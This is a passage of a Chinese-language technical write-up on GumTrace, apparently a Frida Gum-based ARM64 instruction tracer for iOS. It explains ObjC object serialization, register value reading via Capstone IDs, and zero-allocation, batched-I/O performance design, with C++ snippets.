3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x1</span></code><p><span leaf="">：selector（方法选择器）</span></p></li></ul><p data-line="816" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">通过ObjC运行时API </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_getName</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">object_getClassName</span></code><span leaf="">获取可读的类名和方法名。</span></p><h3 data-line="818" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">11.2 ObjC对象序列化</span></h3><p data-line="820" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace能够将常见的ObjC对象类型序列化为可读格式：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="822" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">FuncPrinter::print_ios_object</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf="">&amp; buff_n, </span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* buff, id obj,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> indent_level)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (obj == nil) { </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* null */</span></span><span leaf=""> }</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *class_name = </span><span style="color: rgb(0, 122, 204);"><span leaf="">object_getClassName</span></span><span leaf="">(obj);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(class_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Dictionary&#34;</span></span><span leaf="">))</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">print_ios_dictionary</span></span><span leaf="">(buff_n, buff, obj, class_name, indent_level);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(class_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Array&#34;</span></span><span leaf="">))</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">print_ios_array</span></span><span leaf="">(buff_n, buff, obj, class_name, indent_level);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(class_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;String&#34;</span></span><span leaf="">))</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">print_ios_string</span></span><span leaf="">(buff_n, buff, obj, class_name, indent_level);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(class_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Data&#34;</span></span><span leaf="">))</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">print_ios_data</span></span><span leaf="">(buff_n, buff, obj, class_name, indent_level);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(class_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Number&#34;</span></span><span leaf="">))</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">print_ios_number</span></span><span leaf="">(buff_n, buff, obj, class_name, indent_level);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">}</span></code></pre><p data-line="842" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">NSDictionary</span></strong><span leaf="">被展开为缩进的JSON风格结构，键按字母排序；</span><strong><span leaf="">NSArray</span></strong><span leaf="">展开为列表；</span><strong><span leaf="">NSString</span></strong><span leaf="">打印内容（超过1024字符截断）；</span><strong><span leaf="">NSData</span></strong><span leaf="">执行hexdump；</span><strong><span leaf="">NSNumber</span></strong><span leaf="">打印值和类型标注（int/long/double/float/bool）。</span></p><p data-line="844" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">递归调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">print_ios_object</span></code><span leaf="">使得嵌套结构（如Dictionary中包含Array）也能正确展开。</span></p><h2 data-line="846" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">12 寄存器值读取</span></h2><p data-line="848" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace通过Capstone的寄存器ID直接索引Gum的CPU上下文结构体来读取寄存器值。</span></p><h3 data-line="850" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">12.1 通用寄存器</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="852" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">Utils::get_register_value</span></span><span style="color: inherit;"><span leaf="">(arm64_reg reg, _GumArm64CpuContext *ctx,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">__uint128_t</span></span><span leaf=""> &amp;value)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// x0-x28 → ctx-&gt;x[0..28]</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (reg &gt;= ARM64_REG_X0 &amp;&amp; reg &lt;= ARM64_REG_X28) {</span><br/><span leaf="">        value = ctx-&gt;x[reg - ARM64_REG_X0];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// w0-w28 → ctx-&gt;x[0..28] 的低32位</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (reg &gt;= ARM64_REG_W0 &amp;&amp; reg &lt;= ARM64_REG_W28) {</span><br/><span leaf="">        value = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf="">)ctx-&gt;x[reg - ARM64_REG_W0];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// sp, fp(x29), lr(x30), pc, nzcv</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">}</span></code></pre><h3 data-line="870" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">12.2 SIMD/浮点寄存器</span></h3><p data-line="872" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace完整支持ARM64的SIMD寄存器系统。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">q</span></code><span leaf="">寄存器是128位，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">d</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">s</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">h</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">b</span></code><span leaf="">分别是其64/32/16/8位的低位视图：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="874" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// q0-q31 → ctx-&gt;v[0..31] (128-bit)</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (reg &gt;= ARM64_REG_Q0 &amp;&amp; reg &lt;= ARM64_REG_Q31) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> idx = reg - ARM64_REG_Q0;</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(&amp;value, &amp;ctx-&gt;v[idx], </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">__uint128_t</span></span><span leaf="">));</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// d0-d31 → v[n] 的低 64 位</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (reg &gt;= ARM64_REG_D0 &amp;&amp; reg &lt;= ARM64_REG_D31) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> idx = reg - ARM64_REG_D0;</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(&amp;value, &amp;ctx-&gt;v[idx], </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf="">));</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="889" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">128位值的十六进制格式化通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">format_uint128_hex</span></code><span leaf="">实现，它将</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__uint128_t</span></code><span leaf="">拆为高低64位分别输出，跳过前导零以保持日志紧凑。</span></p><h2 data-line="891" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">13 性能工程</span></h2><p data-line="893" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace的设计目标是&#34;每3秒1GB&#34;，为此在多个层面做了性能优化。</span></p><h3 data-line="895" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">13.1 零分配热路径</span></h3><p data-line="897" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在callout回调（每条指令执行一次）中，GumTrace完全避免了堆分配：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">字符串操作</span></strong><p><span leaf="">：全部使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">append_string</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">append_char</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">append_uint64_hex</span></code><span leaf="">直接写入预分配缓冲区，不使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">std::string</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sprintf</span></code><span leaf="">。</span></p></li><li style=""><strong><span leaf="">上下文对象</span></strong><p><span leaf="">：从预分配的环形池中获取，不调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">malloc</span></code><span leaf="">。</span></p></li><li style=""><strong><span leaf="">数值格式化</span></strong><p><span leaf="">：手写的十六进制转换，逐nibble查表，避免</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">snprintf</span></code><span leaf="">的重量级实现。</span></p></li></ul><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="903" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">append_uint64_hex</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* buff, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf="">&amp; counter, </span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> val)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 手写的零分配十六进制输出，跳过前导零</span></span><br/><span leaf="">}</span></code></pre><h3 data-line="909" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">13.2 批量I/O</span></h3><p data-line="911" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">50MB的内存缓冲区意味着在Standard模式下，文件写入可能每几秒才发生一次。后台线程每20秒执行一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">flush</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: 